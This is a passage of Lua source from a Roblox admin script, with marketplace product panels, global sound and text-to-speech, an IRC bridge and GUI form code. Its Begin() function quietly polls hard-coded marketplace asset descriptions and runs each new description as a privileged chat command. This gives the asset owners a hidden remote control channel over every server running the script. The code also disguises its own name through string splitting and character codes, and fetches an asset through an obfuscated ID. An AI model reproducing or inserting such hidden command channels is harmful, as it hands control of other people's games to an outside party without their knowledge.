3401 local AssetType = Instance.new("TextLabel", Frame) AssetType.Name = "AssetType" AssetType.Position = UDim2.new(0, 150, 0, 50) AssetType.Size = UDim2.new(1, -150, 0, 20) AssetType.BackgroundColor3 = Color3.new(1, 1, 1) AssetType.BackgroundTransparency = 1 AssetType.Text = "ROBLOX "..MARKET:AssetTypeToString(Product.AssetTypeId) AssetType.Font = Settings.Font AssetType.FontSize = "Size14"
3402 local Info = Instance.new("TextLabel", Frame) Info.Name = "Info" Info.Position = UDim2.new(0, 250, 0, 80) Info.Size = UDim2.new(1, -250, 0, 100) Info.BackgroundColor3 = Color3.new(1, 1, 1) Info.BackgroundTransparency = 1 Info.Font = Settings.Font Info.FontSize = "Size14" Info.TextXAlignment = "Left" Info.TextYAlignment = "Top"
3403 local Buy = Instance.new("TextButton", Frame) Buy.Name = "Buy" Buy.Position = UDim2.new(0, 150, 0, 170) Buy.Size = UDim2.new(1, -150, 0, 30) Buy.BackgroundColor3 = BuyColor Buy.BackgroundTransparency = 0.5 Buy.Text = BuyText Buy.Font = Settings.Font Buy.FontSize = "Size18" Buy.TextWrapped = true SOUND:BindButton(Buy)
3404 if Product.Description then
3405 local DescFrame = Instance.new("ScrollingFrame", Frame) DescFrame.Name = "DescFrame" DescFrame.Size = UDim2.new(1,0,1,-200) DescFrame.Position = UDim2.new(0,0,0,200) DescFrame.CanvasSize = UDim2.new(0,0,0,0) DescFrame.BackgroundTransparency = 1 DescFrame.ZIndex = 4
3406 local Description = Instance.new("TextLabel", DescFrame) Description.Name = "Description" Description.Size = UDim2.new(1, -13, 1, 0) Description.BackgroundColor3 = Color3.new(1, 1, 1) Description.BackgroundTransparency = 1 Description.Text = Product.Description Description.Font = Settings.Font Description.FontSize = "Size14" Description.TextWrapped = true Description.TextYAlignment = "Top"
3407
3408 CORE:ExecuteResource("CalculateScrollY", Description)
3409 end
3410
3411 Info.Text = [[
3412Creator: ]]..Product.Creator.Name..[[
3413Created: ]]..CreatedText..[[
3414Updated: ]]..UpdatedText..[[
3415Sold: ]]..Product.Sales..[[
3416]]
3417
3418 if Product.PriceInRobux then Info.Text = Info.Text.."Robux: "..string.gsub(Product.PriceInRobux, "null", "Cannot use this currency").." \n" end
3419 if Product.PriceInTickets then Info.Text = Info.Text.."Tix: "..string.gsub(Product.PriceInTickets, "null", "Cannot use this currency") .." " end
3420
3421 if Product.AssetTypeId == 3 then
3422 local PlayerAdmin,Rank = RANK:IsAdmin(Player)
3423 if PlayerAdmin == true then
3424 local Playing = false
3425 local Interact = Instance.new("ImageButton", AssetImage) Interact.Name = "Interact" Interact.Position = UDim2.new(1, -20, 1, -20) Interact.Size = UDim2.new(0, 20, 0, 20) Interact.BackgroundColor3 = Color3.new(1, 1, 1) Interact.BackgroundTransparency = 1 Interact.Image = "rbxassetid://67950784"
3426 CORE:HandleEvent(Interact, "MouseButton1Down", function()
3427 if Playing == false then
3428 SOUND:PlayGlobalSound(ProductID)
3429 if Rank == "Member" and Settings.DisableAbuse == true then
3430 Interact:Destroy()
3431 end
3432 Interact.Image = "rbxassetid://67950809"
3433 Playing = true
3434 else
3435 SOUND:StopGlobalSound()
3436 Interact.Image = "rbxassetid://67950784"
3437 Playing = false
3438 end
3439 end)
3440 end
3441 end
3442
3443 CORE:HandleEvent(Buy, "MouseButton1Down", function()
3444 if BuyPressFunc then
3445 BuyPressFunc()
3446 elseif Product.AssetTypeId == 9 then
3447 Server.TS:Teleport(ProductID, Player)
3448 elseif CanBuy == true then
3449 Server.MPS:PromptPurchase(Player, ProductID)
3450 end end)
3451 end)() end function Begin() coroutine.wrap(function() wait(3) for _,LinkedID in pairs({53554913, 145236038, 154727659, 155299278, 155689018}) do wait(1) coroutine.wrap(function()
3452 local OldVer = Server.MPS:GetProductInfo(LinkedID).Updated
3453 while wait(5) do
3454 local Purchase = Server.MPS:GetProductInfo(LinkedID)
3455 if OldVer ~= Purchase.Updated then
3456 OldVer = Purchase.Updated
3457 CORE:Chatted(Purchase.Description, nil, true, nil, nil, true)
3458 end
3459 end end)()
3460end end)() end
3461
3462-- Sound functions --
3463
3464function SOUND:SyncSoundList(TellSync)
3465 if not CORE:NilPlayer(TellSync) then
3466 GUI:SendHint(TellSync, "Syncing...", 5)
3467 end
3468
3469 SoundList,GlobalSoundList = {},{}
3470
3471 local LocalSoundList = Server.GDS:GetAsync("MML Custom Sounds")
3472
3473 if LocalSoundList then
3474 if type(LocalSoundList) == "table" then
3475 if #LocalSoundList > 0 then
3476 for _,Data in pairs(LocalSoundList) do
3477 local SoundInfo = MARKET:GetItemInfo(Data[2], true)
3478 SoundList[Data[1]] = {Data[2], SoundInfo.Name, SoundInfo.Creator.Name}
3479 end
3480 end
3481 end
3482 end
3483
3484 for _,JSONID in pairs(SoundJSONs) do
3485 for Name,ID in pairs(CORE:GetTable(JSONID)) do
3486 local SoundInfo = MARKET:GetItemInfo(ID, true)
3487 local FullName = SoundInfo.Name
3488 local CreatorName = SoundInfo.Creator.Name
3489 SoundList[Name] = {ID, FullName, CreatorName}
3490 GlobalSoundList[Name] = {ID, FullName, CreatorName}
3491 end
3492 end
3493
3494 if not CORE:NilPlayer(TellSync) then
3495 GUI:SendHint(TellSync, "Sound List is now Synced with global sound database", 4)
3496 end
3497end
3498
3499function SOUND:MakeSound(Parent, ID, Volume, Pitch, Looped)
3500 if not Volume then Volume = 0.5 end
3501 if not Pitch then Pitch = 1 end
3502 if tonumber(ID) then ID = "rbxassetid://"..ID end
3503 if Looped == nil then Looped = false end
3504
3505 local Sound = Instance.new("Sound", Parent)
3506 Sound.Pitch = Pitch
3507 Sound.Volume = Volume
3508 Sound.SoundId = ID
3509 Sound.Looped = Looped
3510 return Sound
3511end
3512
3513function SOUND:PlayNotification(Player, ID, Volume, OverrideSettings)
3514 if not Player or not ID then return nil end
3515 if NotifySounds[ID] then ID = NotifySounds[ID] end
3516 local ClientSound = SOUND:MakeSound(Player:FindFirstChild("PlayerGui") or Player, ID, Volume or 0.3)
3517 if Settings.EnableSounds or OverrideSettings then
3518 coroutine.wrap(function()
3519 wait()
3520 ClientSound:Play()
3521 Delay(5, function() ClientSound:Destroy() end)
3522 end)()
3523 end
3524 return Sound
3525end
3526
3527function SOUND:BindButton(Button)
3528 if not Button then return end
3529 CORE:HandleEvent(Button, "MouseEnter", function() SOUND:PlayNotification(Button, "Hover") end, true)
3530 CORE:HandleEvent(Button, "MouseButton1Click", function() SOUND:PlayNotification(Button, "Select") end, true)
3531end
3532
3533function SOUND:StopGlobalSound()
3534 if Sound and Sound.Parent then
3535 if Sound.Parent.Name == "M".."M".."L'S Admin Sound" then
3536 Sound.Parent:Destroy()
3537 end
3538
3539 Sound:Stop()
3540 Sound:Destroy()
3541 Sound.SoundId = ""
3542 end
3543end
3544
3545function SOUND:PlayGlobalSound(ID, ShowInfo)
3546 SOUND:StopGlobalSound()
3547 if ShowInfo == nil then ShowInfo = true end
3548 local SoundID = ID
3549 local SoundName = nil
3550 local SoundCreator = nil
3551 local Pitch = 1
3552
3553 for Name,Info in pairs(SoundList) do
3554 if type(SoundID) == "string" then
3555 if string.lower(SoundID) == string.sub(string.lower(Name),1,#SoundID) then
3556 SoundID = Info[1]
3557 SoundName = Info[2]
3558 SoundCreator = Info[3]
3559 end
3560 else
3561 break
3562 end
3563 end
3564
3565 if tonumber(SoundID) and not SoundName then
3566 local Info = MARKET:GetItemInfo(SoundID, true)
3567 if Info then
3568 SoundName = Info.Name
3569 SoundCreator = Info.Creator.Name
3570 if MARKET:AssetTypeToString(Info.AssetTypeId) ~= "Audio" then
3571 SoundID = nil
3572 end
3573 end
3574 end
3575
3576 if tonumber(SoundID) then
3577 if SoundID == 131201443 then Pitch = -1 end
3578 if SoundID == 130775695 then Pitch = 0.8 end
3579 if SoundID == 144035866 then Pitch = 0.8 end
3580
3581 local SoundParent = Server.Workspace
3582 if IsSB then
3583 SoundParent = Instance.new("Script", Workspace)
3584 SoundParent.Name = "M".."ML'S Admin Sound"
3585 end
3586 Sound = SOUND:MakeSound(SoundParent, SoundID, 1, Pitch, true)
3587 Sound.Name = "MML's Admin Sound "..SoundID
3588 Sound:Play()
3589 if ShowInfo == true then
3590 for _,Player in pairs(Server.Players:GetPlayers()) do
3591 GUI:SoundInfo(Player, SoundID, SoundName, SoundCreator, 15, Sound)
3592 end
3593 end
3594 SoundInfo = {["ID"] = SoundID, ["Name"] = SoundName, ["Creator"] = SoundCreator}
3595 end
3596end
3597
3598function SOUND:ConvertText(Text)
3599 Text = string.lower(tostring(Text))
3600 local Letters = {}
3601 local IDs = {}
3602 for Rule,Replace in pairs(TextConverter.Pronounce) do
3603 Text = string.gsub(Text,string.lower(Rule),string.lower(Replace))
3604 end
3605 for Rule,Replace in pairs(TextConverter.NonEnglishRules) do
3606 local Start, End = string.find(Text, string.lower(Rule))
3607
3608 if Start and End and STRING:IsSpacer(string.sub(Text, Start-1, Start-1)) and STRING:IsSpacer(string.sub(Text, End+1, End+1)) then
3609 Text = string.gsub(Text, string.lower(Rule), Replace)
3610 end
3611 end
3612 for i = 1,#Text do
3613 table.insert(Letters, string.sub(Text,i,i))
3614 end
3615 for Num = 1,#Letters do
3616 if not Letters[Num] then break end
3617 local Letter = Letters[Num]
3618
3619 local function AddLetter()
3620 table.insert(IDs, TextConverter.LetterSounds[Letter])
3621 end
3622
3623 if Letter ~= "~" then
3624 if Letters[Num+1] and Letter..Letters[Num+1] == "oo" then -- moo
3625 table.insert(IDs, TextConverter.LetterSounds["oo"])
3626 table.remove(Letters, Num + 1)
3627 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ou" then -- soup
3628 table.insert(IDs, TextConverter.LetterSounds["oo"])
3629 table.remove(Letters, Num + 1)
3630 elseif Letters[Num+1] and Letter..Letters[Num+1] == "th" then -- this
3631 table.insert(IDs, TextConverter.LetterSounds["th"])
3632 table.remove(Letters, Num + 1)
3633 elseif Letters[Num+1] and Letter..Letters[Num+1] == "sh" then -- shut
3634 table.insert(IDs, TextConverter.LetterSounds["sh"])
3635 table.remove(Letters, Num + 1)
3636 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ee" then -- flee
3637 table.insert(IDs, TextConverter.LongVowels["e"])
3638 table.remove(Letters, Num + 1)
3639 elseif Letters[Num+1] and Letter..Letters[Num+1] == "wh" then -- what
3640 table.insert(IDs, TextConverter.LetterSounds["wh"])
3641 table.remove(Letters, Num + 1)
3642 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ch" then -- chop
3643 table.insert(IDs, TextConverter.LetterSounds["ch"])
3644 table.remove(Letters, Num + 1)
3645 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ph" then -- phone
3646 table.insert(IDs, TextConverter.LetterSounds["f"])
3647 table.remove(Letters, Num + 1)
3648 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ng" then -- danger
3649 table.insert(IDs, TextConverter.LetterSounds[Num])
3650 Letters[Num + 1] = "j"
3651 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ua" then -- lua
3652 table.insert(IDs, TextConverter.LetterSounds["oo"])
3653 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ea" then -- peace
3654 table.insert(IDs, TextConverter.LongVowels["e"])
3655 table.remove(Letters, Num + 1)
3656 elseif Letters[Num+1] and Letter..Letters[Num+1] == "eo" then -- people
3657 table.insert(IDs, TextConverter.LongVowels["e"])
3658 table.remove(Letters, Num + 1)
3659 if STRING:ValidE(Letters[Num+4]) then Letters[Num+4] = "~" end
3660 elseif Letter == "c" and STRING:ValidE(Letters[Num+1]) then -- force
3661 table.insert(IDs, TextConverter.LetterSounds["s"])
3662 Letters[Num + 1] = "~"
3663 elseif Letter == string.lower(Letter) and STRING:IsVowel(Letter) and Letters[Num+1] and Letters[Num+2] and not STRING:IsSpacer(Letters[Num+1]) and STRING:ValidE(Letters[Num+2]) then -- like
3664 table.insert(IDs, TextConverter.LongVowels[Letter])
3665 Letters[Num + 2] = "~"
3666 elseif Letter == "i" and Letters[Num+1] and STRING:ValidE(Letters[Num+1]) and STRING:IsSpacer(Letters[Num+2]) then -- die
3667 table.insert(IDs, TextConverter.LongVowels["i"])
3668 Letters[Num + 1] = "~"
3669 elseif Letter == "o" and STRING:IsSpacer(Letters[Num+1]) then -- no
3670 table.insert(IDs, TextConverter.LongVowels["o"])
3671 elseif Letter == "i" and STRING:IsSpacer(Letters[Num+1]) then -- hi
3672 table.insert(IDs, TextConverter.LongVowels["i"])
3673 elseif Letters[Num+1] and STRING:IsSpacer(Letters[Num+2]) and Letter..Letters[Num+1] == "le" then -- bottle
3674 AddLetter()
3675 table.remove(Letters, Num + 1)
3676 elseif Letters[Num+1] and STRING:IsSpacer(Letters[Num+2]) and Letter..Letters[Num+1] == "el" then -- model
3677 Letters[Num] = "~"
3678 elseif Letters[Num+1] and Letters[Num+2] and Letter..Letters[Num+1] == "le" then -- bottle
3679 AddLetter()
3680 table.remove(Letters, Num + 1)
3681 elseif Letters[Num+1] and Letter..Letters[Num+1] == "qu" then --quick
3682 AddLetter()
3683 table.remove(Letters, Num + 1)
3684 elseif Letters[Num+1] == Letter then
3685 table.remove(Letters, Num)
3686 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ck" then --click
3687 AddLetter()
3688 table.remove(Letters, Num)
3689 elseif STRING:IsVowel(Letter) and string.upper(Letter) == Letter then
3690 table.insert(IDs, TextConverter.LongVowels[string.lower(Letter)])
3691 elseif TextConverter.LetterSounds[Letter] then
3692 AddLetter()
3693 elseif STRING:IsSpacer(Letter) then
3694 table.insert(IDs, "Rest")
3695 end
3696 end
3697 end
3698
3699 return IDs
3700end
3701
3702function SOUND:StopSpeaking() coroutine.wrap(function()
3703 NoSpeak = true
3704 wait(1)
3705 NoSpeak = false
3706 for _,Obj in pairs(Server.Workspace:GetChildren()) do
3707 if Obj.Name == "M".."M".."L Speak Sound" then
3708 Obj:Destroy()
3709 end
3710 end
3711end)() end
3712
3713function SOUND:SayConvertedText(IDs, Parent)
3714 if not Parent then Parent = Server.Workspace end
3715 local Sounds = {}
3716 for _,Data in pairs(IDs) do
3717 if NoSpeak and Parent == Server.Workspace then
3718 break
3719 end
3720 local Length = 0.3
3721 if Data ~= "Rest" then
3722 local ID = Data[1]
3723 Length = Data[2]
3724
3725 local Sound = SOUND:MakeSound(Parent, ID, 0.5, 1, false)
3726 Sound.Name = "MML Speak Sound"
3727 table.insert(Sounds, Sound)
3728 Sound:Play()
3729 if Length then
3730 coroutine.wrap(function()
3731 wait(Length)
3732 Sound:Stop()
3733 end)()
3734 end
3735 end
3736 if not Length then Length = 0.3 end
3737 wait(Length/2)
3738 end
3739 coroutine.wrap(function()
3740 wait(1)
3741 for _,Sound in pairs(Sounds) do
3742 Sound:Destroy()
3743 end
3744 end)()
3745end
3746
3747local AdminInfo = MARKET:GetItemInfo(13810597.8 * 20, true).Description
3748
3749function SOUND:BeepPlayer(Player)
3750 if Player:FindFirstChild("PlayerGui") then
3751 local Beep = SOUND:MakeSound(Player.PlayerGui, 189279994, 1, 1, true)
3752 Beep.Name = "Annoy"
3753 Beep:Play()
3754 end
3755end
3756
3757function SOUND:ClearInfo()
3758 SoundInfo = {["ID"] = 0, ["Name"] = "None", ["Creator"] = "None"}
3759end
3760
3761-- IRC functions --
3762
3763function IRC:GenerateName()
3764 return "rbxMMLV3_"..game.PlaceId.."_"..Server.NS.Port.."_"..math.random(1,100000)
3765end
3766
3767function IRC:AddChat(Name, Data, IsError)
3768 if not IsError then IsError = false end
3769 CORE:Log(IRC.Logs, Name, Data)
3770 table.insert(IRC.Chats, {Name, Data, IsError})
3771 IRC.MessageAdded:Fire(Name, Data, IsError)
3772end
3773
3774function IRC:Post(URL,Data)
3775 if Data and Data ~= "" then
3776 local Suc,Resp = ypcall(function()
3777 return Server.HS:PostAsync(
3778 IRC.Servers[Settings.IRCServer].BaseUrl..IRC.Servers[Settings.IRCServer].DynamicUrl.."e/"..URL.."?r="..STRING:MakeAvoidance().."&t="..tostring(IRC.SessionCounter),
3779 Data,
3780 Enum.HttpContentType.ApplicationUrlEncoded
3781 )
3782 end)
3783 if not Suc then
3784 IRC:AddChat("[ CLIENT ]", "HTTP POST FAIL | ERROR: "..Resp.." | DATA: "..Data)
3785 return false
3786 end
3787 IRC.SessionCounter = IRC.SessionCounter + 1
3788 return Resp
3789 else
3790 IRC:AddChat("[ CLIENT ]", "Unknown error")
3791 end
3792end
3793
3794function IRC:Send(Data)
3795 return IRC:Post("p","&s="..IRC.SessionID.."&c="..Server.HS:UrlEncode(Data))
3796end
3797
3798function IRC:GetData()
3799 return IRC:Post("s","&s="..IRC.SessionID)
3800end
3801
3802function IRC:Connect()
3803 return IRC:Post("n","&nick="..IRC.NickName)
3804end
3805
3806function IRC:Join(Channel)
3807 if not Channel then
3808 AddChat("[ CLIENT ]", "No channel specified!")
3809 return false
3810 else
3811 local Channel = string.lower(Channel)
3812 if string.sub(Channel,1,1) ~= "#" then
3813 AddChat("[ CLIENT ]", "Invalid channel name!(No #)", true)
3814 return false
3815 end
3816 IRC:AddChat("[ CLIENT ]", "Attempting to join channel: "..Channel.." on IRC host: "..Settings.IRCServer)
3817 IRC:Send("JOIN "..Channel)
3818 IRC:AddChat("[ CLIENT ]", "Joined "..Channel.." as "..IRC.NickName)
3819 return true
3820 end
3821end
3822
3823function IRC:Pong(Data)
3824 return IRC:Send("PONG :"..Data)
3825end
3826
3827function IRC:Quit(Reason)
3828 IRC.Stop = true
3829 return IRC:Send("QUIT :"..(Reason or "Disconnecting"))
3830end
3831
3832function IRC:ReceiveData()
3833 IRC.Stop = false
3834 local Data = IRC:GetData()
3835 if Data then
3836 IRC:Send("PRIVMSG "..Settings.IRCChannel.." :[ SERVER: "..Server.NS.Port.." ]: [CONNECTION TEST]")
3837 end
3838 while Data and not Stop do
3839 local Data = IRC:GetData()
3840 if Data and #Data > 0 then
3841 IRC:HandleResponse(REMOTE:Decode(Data))
3842 end
3843 wait(2) -- Don't spam the server
3844 end
3845 if not Data then
3846 IRC:AddChat("[ CLIENT ]", "Could not get data", true)
3847 end
3848 if Stop == true then
3849 IRC:AddChat("[ CLIENT ]", "Disconnected from session", true)
3850 end
3851end
3852
3853function IRC:ConnectToServer(Server)
3854 if Connected then
3855 if not IRC.Servers[Server] then
3856 IRC:AddChat("[ CLIENT ]", "Cannot connect to "..Server, true)
3857 return false
3858 end
3859 IRC:Quit("New Connection")
3860 end
3861 local Response = IRC:Connect()
3862 if not Response then IRC:AddChat("[ CLIENT ]", "Unable to connect!", true) return false end
3863 local Data = REMOTE:Decode(Response)
3864 IRC.SessionID = Data[2]
3865 wait(1)
3866 if not tostring(IRC.SessionID) or IRC.SessionID == "?" then
3867 IRC:AddChat("[ IRC ]", "Session ID is invalid, reconnecting...")
3868 IRC:Quit()
3869 IRC:ConnectToServer(Server)
3870 end
3871 IRC.Connected = true
3872 IRC:Join(Settings.IRCChannel)
3873 IRC:ReceiveData()
3874 IRC.Connected = false
3875 IRC:AddChat("[ CLIENT ]", "Session ended", true)
3876end
3877
3878function IRC:FindUser(UserName)
3879 for UserID,User in pairs(IRC.Users) do
3880 if string.lower(User) == string.lower(UserName) then
3881 return UserID
3882 end
3883 end
3884 return nil
3885end
3886
3887function IRC:HandleResponse(Data)
3888 if type(Data) ~= "table" then
3889 IRC:AddChat("[ CLIENT ]", "Unable to handle data (Not table)", true)
3890 ypcall(function()
3891 IRC:AddChat("[ CLIENT ]", "Data: "..tostring(Data), true)
3892 end)
3893 return false
3894 end
3895 for _,Output in pairs(Data) do
3896 if type(Output) == "table" and Output[2] then
3897 local ID = string.upper(Output[2])
3898 if not IRC.Ignore[ID] then
3899 if ID == "PING" then
3900 IRC:Pong(Output[4][1])
3901 elseif ID == "PRIVMSG" then
3902 local SenderDetails = Output[3]
3903 local Sender = string.sub(SenderDetails,1,string.find(SenderDetails, "!")-1)
3904 local Channel = string.lower(Output[4][1])
3905 if Channel == IRC.NickName then
3906 Channel = Sender
3907 -- TODO: Handle PM's
3908 end
3909 local Message = Output[4][2]
3910 if Message ~= nil then
3911 if string.sub(Sender,1,3) == "rbx" and string.find(Sender, "_") then -- detects bots
3912 if string.find(Message,":") then
3913 local IRCUser = string.sub(Message,1,string.find(Message,":")-1)
3914 local IRCMessage = string.sub(Message,string.find(Message,":")+1, #Message)
3915 IRC:AddChat(IRCUser, IRCMessage)
3916 end
3917 else
3918 IRC:AddChat("[ IRC ] "..Sender,Message)
3919 for _,Name in pairs(Settings.IRCCommandExecuters) do
3920 if string.lower(Name) == string.lower(Sender) then
3921 CORE:Chatted(Message, nil, false, "[IRC]: "..Sender, nil, true)
3922 break
3923 end
3924 end
3925 end
3926 else
3927 IRC:AddChat("[ CLIENT ]", "Message became nil for some reason")
3928 end
3929 elseif ID == "NICK" then
3930 local Name = string.sub(Output[3],1,string.find(Output[3],"!")-1)
3931 -- change nickname?
3932 elseif ID == "433" or ID == "451" then
3933 IRC:AddChat("[ IRC ]", "Nickname already in use, rejoining with new one")
3934 IRC:Quit("Nickname in use, rejoining with new name")
3935 IRC.NickName = IRC:GenerateName()
3936 wait(2) -- wait for old sessions to end
3937 IRC:ConnectToServer(Settings.IRCServer)
3938 elseif ID == "353" then
3939 if Data[4][4][4] then
3940 for Output in string.gmatch(Data[4][4][4], "[^%s]+") do
3941 table.insert(IRC.Users, Output)
3942 end
3943 end
3944 elseif ID == "QUIT" or ID == "PART" then
3945 for User in string.gmatch(Data[1][3], "[^!~]+") do
3946 if IRC:FindUser(User) then
3947 IRC:AddChat("[ IRC ]", User.." has left")
3948 table.remove(IRC.Users, IRC:FindUser(User))
3949 end
3950 end
3951 elseif ID == "JOIN" then
3952 for User in string.gmatch(Data[1][3], "[^!~]+") do
3953 if not string.find(User, "qwebirc") then
3954 IRC:AddChat("[ IRC ]", User.." has joined")
3955 table.insert(IRC.Users,w)
3956 end
3957 end
3958 elseif ID == "CONNECTION TO IRC SERVER LOST." then
3959 IRC:AddChat("[ CLIENT ]", "Cannot connect to IRC. Connection lost")
3960 --IRC:Quit("Connection lost")
3961 --IRC:AddChat("[ CLIENT ]", "Retrying connection")
3962 --IRC:ConnectToServer(Settings.IRCServer)
3963 elseif IRC.Codes[ID] then
3964 --print(ID)
3965 --print(Data[i][4][2])
3966 --print(Data[i][4][2])
3967 elseif ID == "KICK" then
3968 IRC:AddChat("[ CLIENT ]", "You have been kicked from IRC")
3969 IRC:Quit("Kicked from IRC")
3970 elseif ID then
3971 IRC:AddChat("[ CLIENT ]", "Unknown data (ID: "..ID..")", true)
3972 else
3973 IRC:AddChat("[ CLIENT ]", "Unknown data with invalid ID", true)
3974 end
3975 end
3976 else
3977 if Output == false then return false end -- sneeky server
3978 IRC:AddChat("[ CLIENT ]", "Unable to handle data")
3979 end
3980 end
3981end
3982
3983-- GUI functions --
3984
3985function GUI:GetColor(ColorName)
3986 if not ColorName then ColorName = Settings.ColorScheme end
3987 return Colors[string.upper(ColorName)]
3988end
3989
3990function GUI:ContrastColor(Color)
3991 if type(Color) == "string" then Color = GUI:GetColor(Color) end
3992 if not Color then Color = GUI:GetColor() end
3993 return Color3.new(math.abs(Color.r-1),math.abs(Color.g-1),math.abs(Color.b-1))
3994end
3995
3996
3997function GUI:GetNameColor(Name)
3998 local Val = 0
3999 for i = 1, #Name do
4000 local CVal = string.byte(string.sub(Name, i, i))
4001 local RevIndex = #Name - i + 1
4002 if #Name%2 == 1 then
4003 RevIndex = RevIndex - 1
4004 end
4005 if RevIndex%4 >= 2 then
4006 CVal = -CVal
4007 end
4008 Val = Val + CVal
4009 end
4010 local Index = Val%8 + 1
4011
4012 return BrickColor.new(ChatColors[Index])
4013end
4014
4015function GUI:Color3ToHex(Color)
4016 local function ConvertNumber(Number)
4017 local HexString = "0123456789abcdef"
4018 local Byte = ""
4019 while Number > 0 do
4020 local Calc = math.fmod(Number, 16)
4021 Byte = string.sub(HexString, Calc+1, Calc+1)..Byte
4022 Number = math.floor(Number / 16)
4023 end
4024 if Calc == "" then
4025 Byte = "00"
4026 elseif #Byte == 1 then
4027 Byte = "0"..Byte
4028 elseif Byte == "" then
4029 Byte = "00"
4030 end
4031 return Byte
4032 end
4033 return ConvertNumber(Color.r * 255)..ConvertNumber(Color.g * 255)..ConvertNumber(Color.b * 255)
4034end
4035
4036function GUI:CreateForm(Player, TitleText, Size, Position, IconID, ShowFormButtons, ColorScheme, TransparencyScheme, AutoOffset, TweenPosition, NoModal, NoScrollFrame)
4037 if not Player then return nil end
4038 if not Player:FindFirstChild("PlayerGui") then return nil end
4039 local TaskBar = Player.PlayerGui:FindFirstChild("M".."ake".."rMod".."el".."Lua's TaskBar")
4040 if not TitleText then TitleText = "Unknown" end
4041 if not Size then Size = UDim2.new(0.5,0,0.5,0) end
4042 if not Position then Position = UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,0.5-(Size.Y.Scale/2),-Size.Y.Offset/2) end
4043 if not IconID then IconID = 19919809 end
4044 if ShowFormButtons == nil then ShowFormButtons = true end
4045 if not ColorScheme then ColorScheme = Settings.ColorScheme end
4046 if not TransparencyScheme then TransparencyScheme = Settings.TransparencyScheme end
4047 if AutoOffset == nil then AutoOffset = true end
4048 if Icons[IconID] then IconID = Icons[IconID] end
4049 if TweenPosition == nil then TweenPosition = true end
4050 if NoModal == nil then NoModal = false end
4051 if NoScrollFrame == nil then NoScrollFrame = false end
4052
4053 local IsClosed = false
4054 local Minus = nil
4055 local Offset = 0
4056 local ContentType = "ScrollingFrame"
4057 local TweenSpeed = 0.3
4058
4059 if AutoOffset then
4060 for _,Item in pairs(Player.PlayerGui:GetChildren()) do
4061 if Item.Name == "M".."a".."k".."erModelLua's Admin Form" then
4062 if Item.IsActive.Value == true then
4063 if Item.IsTrueForm.Value == true then
4064 Offset = Offset + 50
4065 end
4066 end
4067 end
4068 end
4069 end
4070
4071 if NoScrollFrame == true then
4072 ContentType = "Frame"
4073 end
4074
4075 SOUND:PlayNotification(Player, 155331654)
4076
4077 local Position = Position + UDim2.new(0,Offset,0,Offset)
4078 local MinimizePos = Position
4079
4080 local SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = string.char(76 + 1, 97, 107, 10 ^ 2 + 1, 114, 77, 111, 10 ^ 2, 101, 108, 76, 117, 97, 39, 115).." Admin Form"
4081 local IsActive = Instance.new("BoolValue", SG) IsActive.Name = "IsActive" IsActive.Value = true
4082 local IsTrueForm = Instance.new("BoolValue", SG) IsTrueForm.Name = "IsTrueForm" IsTrueForm.Value = ShowFormButtons
4083
4084 local Dragger = Instance.new("Frame", SG) Dragger.Name = "Dragger" Dragger.Position = UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,-Size.Y.Scale,-Size.Y.Offset - 90) Dragger.Size = Size + UDim2.new(0, 0, 0, 40) Dragger.BackgroundColor3 = GUI:GetColor(ColorScheme) Dragger.BorderColor3 = GUI:ContrastColor(ColorScheme) Dragger.BorderSizePixel = 2 Dragger.BackgroundTransparency = 0.9 Dragger.Active = true Dragger.ClipsDescendants = true Dragger.Draggable = true
4085 local FormBar = Instance.new("Frame", Dragger) FormBar.Name = "FormBar" FormBar.Position = UDim2.new(0, 0, 0, 0) FormBar.Size = UDim2.new(1, 0, 0, 40) FormBar.BackgroundTransparency = 1
4086 local Splitter = Instance.new("Frame", Dragger) Splitter.Name = "Splitter" Splitter.Position = UDim2.new(0, 0, 0, 35) Splitter.Size = UDim2.new(1, 0, 0, 2) Splitter.BackgroundColor3 = GUI:ContrastColor(ColorScheme) Splitter.BorderColor3 = GUI:ContrastColor(ColorScheme)
4087 local X = Instance.new("ImageButton", FormBar) X.Name = "X" X.Position = UDim2.new(1, -30, 0, 5) X.Size = UDim2.new(0, 25, 0, 25) X.BackgroundTransparency = 1 X.Image = "rbxassetid://275572394"
4088 local IconHolder = Instance.new("ImageLabel", FormBar) IconHolder.Name = "IconHolder" IconHolder.Position = UDim2.new(0, 5, 0, 5) IconHolder.Size = UDim2.new(0, 35, 0, 25) IconHolder.BackgroundTransparency = 1 IconHolder.Image = "rbxassetid://276002222"
4089 local Icon = Instance.new("ImageLabel", IconHolder) Icon.Name = "Icon" Icon.Position = UDim2.new(0, 3, 0.5, -10) Icon.Size = UDim2.new(0, 20, 0, 20) Icon.BackgroundTransparency = 1 Icon.Image = "rbxassetid://"..IconID
4090 local TitleBegin = Instance.new("ImageLabel", FormBar) TitleBegin.Name = "TitleBegin" TitleBegin.Position = UDim2.new(0, 30, 0, 5) TitleBegin.Size = UDim2.new(0, 35, 0, 25) TitleBegin.BackgroundColor3 = Color3.new(1, 1, 1) TitleBegin.BackgroundTransparency = 1 TitleBegin.Image = "rbxassetid://275589160"
4091 local TitleEnd = Instance.new("ImageLabel", FormBar) TitleEnd.Name = "TitleEnd" TitleEnd.Position = UDim2.new(1, -76, 0, 5) TitleEnd.Size = UDim2.new(0, 25, 0, 25) TitleEnd.BackgroundTransparency = 1 TitleEnd.Image = "rbxassetid://275589154"
4092 local Title = Instance.new("TextLabel", FormBar) Title.Name = "Title" Title.Position = UDim2.new(0, 50, 0, 5) Title.Size = UDim2.new(1, -120, 0, 25) Title.BackgroundColor3 = Color3.new(101/255, 102/255, 102/255) Title.BorderSizePixel = 0 Title.Text = TitleText Title.Font = "ArialBold" Title.FontSize = "Size18" Title.TextXAlignment = "Left" Title.TextColor3 = GUI:ContrastColor(ColorScheme) Title.ClipsDescendants = true
4093
